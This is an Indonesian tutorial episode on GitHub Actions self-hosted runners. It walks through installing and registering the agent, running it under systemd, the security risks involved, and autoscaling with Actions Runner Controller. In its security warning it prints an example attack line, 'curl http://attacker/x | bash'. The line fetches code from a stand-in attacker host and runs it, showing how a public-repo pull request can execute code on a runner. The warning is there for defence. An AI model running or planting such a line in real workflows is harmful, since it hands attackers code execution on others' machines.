Episode ini membahas kapan dan bagaimana mengelola self-hosted runner: alasan membutuhkannya untuk akses jaringan privat atau hardware khusus, instalasi dan registrasi di server Linux dengan systemd, ancaman keamanannya, serta autoscaling di Kubernetes menggunakan Actions Runner Controller.

Selama empat belas episode, semua workflow kita berjalan di GitHub-hosted runners — mesin yang dikelola GitHub, muncul saat dibutuhkan, hilang setelah selesai. Nyaman dan mudah, seperti memesan taksi. Tetapi ada kalanya taksi tidak cukup: kalian butuh truk dengan spesifikasi tertentu, atau jalur yang tidak boleh lewat jalan umum.
Episode 15 membahas self-hosted runners: mesin milik kalian sendiri yang menjalankan workflow. Kita bahas kapan benar-benar membutuhkannya, cara instalasi dan registrasi di Linux, menjadikannya service systemd, ancaman keamanannya, hingga autoscaling di Kubernetes dengan Actions Runner Controller (ARC).
GitHub-hosted runner hebat, tetapi punya tiga batasan yang bisa menjadi penghenti:
| Aspek | GitHub-hosted | Self-hosted |
|---|---|---|
| Pengadaan | Otomatis oleh GitHub | Kalian sendiri |
| Biaya | Memakai build minutes | Gratis per menit, bayar infrastruktur |
| Hardware | Tetap, terbatas | Bebas, bisa GPU/disk besar |
| Jaringan | Internet publik | Bisa jaringan privat/VPC |
| Keamanan isolasi | Terisolasi per job | Dipakai bersama, perlu proteksi |
| Pemeliharaan | Tidak ada | Versi agent, update OS, keamanan |
Runner agent adalah program yang mendengarkan tugas dari GitHub dan mengeksekusinya. Spesifikasi minimum yang direkomendasikan: 2 vCPU, 7 GB RAM, dan 14 GB ruang disk — lebih besar lebih baik untuk build yang berat. Buat akun pengguna khusus (jangan memakai root) dan unduh agent:
mkdir -p /opt/actions-runner && cd /opt/actions-runner
curl -o actions-runner.tar.gz -L \
https://github.com/actions/runner/releases/download/v2.327.0/actions-runner-linux-x64-2.327.0.tar.gz
tar xzf actions-runner.tar.gz
sudo ./bin/installdependencies.shVersi pada URL di atas adalah contoh — selalu ambil versi terbaru dari halaman Settings > Actions > Runners, yang menyediakan tautan unduhan dan token registrasi yang sesuai.
Registrasi menghubungkan agent ke repository. Token registrasi berlaku satu jam dan bisa dibuat di UI atau lewat API:
curl -L -X POST \
-H "Authorization: Bearer $GH_TOKEN" \
-H "Accept: application/vnd.github+json" \
https://api.github.com/repos/devvnull/app/actions/runners/registration-tokenLalu daftarkan agent dengan skrip config.sh. Labels penting: labels itulah yang dipakai workflow untuk memilih runner ini lewat runs-on:
./config.sh --url https://github.com/devvnull/app \
--token "$REGISTRATION_TOKEN" \
--name runner-prod-01 \
--labels linux,production \
--work _workSetelah ini, workflow yang menulis runs-on: [self-hosted, linux, production] akan jatuh ke mesin ini. Nama dan label bisa dicek kapan saja di halaman Runners di bawah menu Settings repository.
Jika runner dijalankan dengan ./run.sh di terminal, ia mati begitu sesi SSH ditutup. Solusi produksi: daftarkan sebagai service systemd agar berjalan di latar belakang, menyala otomatis saat boot, dan tetap hidup tanpa sesi login:
sudo ./svc.sh install
sudo ./svc.sh start
sudo ./svc.sh status
systemctl status actions.runner.devvnull-app.runner-prod-01.serviceSkrip svc.sh dibuat otomatis oleh agent — ia membuat unit systemd yang menunjuk ke konfigurasi runner ini. Log runner bisa dipantau dengan journalctl, dan statusnya terlihat langsung di UI GitHub sebagai "online". Sebuah server bisa menjalankan beberapa runner sekaligus (sejumlah CPU-nya), masing-masing di folder instalasi terpisah.
Warning
Aturan emas: jangan pernah memasang self-hosted runner di repository publik. Di repository publik, siapa pun bisa membuka pull request, dan workflow yang berjalan di pull request itu dieksekusi di mesin kalian — penyerang hanya perlu menulis run: curl http://attacker/x | bash untuk mengeksekusi kode arbitrer di jaringan dan hardware kalian. GitHub sendiri menampilkan peringatan besar saat repository publik memakai self-hosted runner. Jika masih harus memakainya, pastikan semua workflow dari kontributor asing diarahkan ke hosted runner, dan perlakukan mesin self-hosted sebagai lingkungan yang tidak tepercaya.
Bahkan di repository privat, runner self-hosted punya akses fisik ke lingkungan jaringan tempat ia berada — lebih luas dari sekadar repo itu sendiri. Jaga dengan disiplin: akun pengguna terbatas, firewall ketat, label yang memisahkan runner untuk job sensitif, dan update agent secara berkala karena GitHub menonaktifkan versi agent yang terlalu tua.
Mengelola runner statis berarti membayar mesin yang menganggur saat tidak ada build. Jawabannya di dunia Kubernetes: Actions Runner Controller (ARC) — controller yang menjalankan runner sebagai pod dan menskalakan jumlahnya mengikuti antrean job. Saat tidak ada job, jumlah pod bisa turun ke nol (hemat biaya); saat lonjakan, pod bertambah otomatis.
ARC versi terbaru memakai resource AutoscalingRunnerSet, yang dikelola langsung lewat UI GitHub:
apiVersion: actions.github.com/v1
kind: AutoscalingRunnerSet
metadata:
name: arc-runner-set
namespace: arc
spec:
githubConfigUrl: https://github.com/devvnull/app
githubConfigSecret: arc-gh-secret
maxRunners: 20
minReplicas: 0
template:
spec:
containers:
- name: runner
image: ghcr.io/actions/actions-runner:latest
command: ["/home/runner/run.sh"]minReplicas: 0 membuat cluster tidak menaruh pod saat idle; begitu job masuk antrean, ARC menambah pod hingga maxRunners sebagai batas aman. Dengan ARC, beban kerja pipeline yang sporadis tidak lagi membayar mesin menganggur — sumber daya runner tumbuh dan menyusut mengikuti kebutuhan, mirip cara workload aplikasi diskalakan.
| Kesalahan | Gejala | Solusi |
|---|---|---|
| Memasang runner di repo publik | Siapa pun bisa eksekusi kode di mesin kalian | Batasi ke repo privat saja |
| Menjalankan lewat run.sh manual | Runner mati saat SSH tertutup | Gunakan sudo ./svc.sh install |
| Token registrasi kedaluwarsa | config.sh gagal dengan 401 | Buat token baru dalam satu jam |
| Melupakan labels | Workflow tidak menemukan runner | Beri labels di config.sh, cocokkan dengan runs-on |
| Runner idle dibiarkan statis | Biaya mesin menganggur membengkak | Autoscale dengan ARC di Kubernetes |
Runner adalah mesin yang mengeksekusi seluruh pipeline — memiliki dan mengelolanya berarti memegang kendali sekaligus tanggung jawab:
config.sh memakai token satu jam; systemd dibuat lewat sudo ./svc.sh install agar runner menyala sendiri.runs-on) dan runner yang tersedia.Episode 15 menutup fase deployment dan infrastruktur. Di episode 16 berikutnya, kita masuk fase kualitas: Automated Testing, Code Quality & Security Scanning — coverage, linter, SonarQube, CodeQL, dan Dependabot. Karena pipeline yang cepat dan andal harus diuji juga!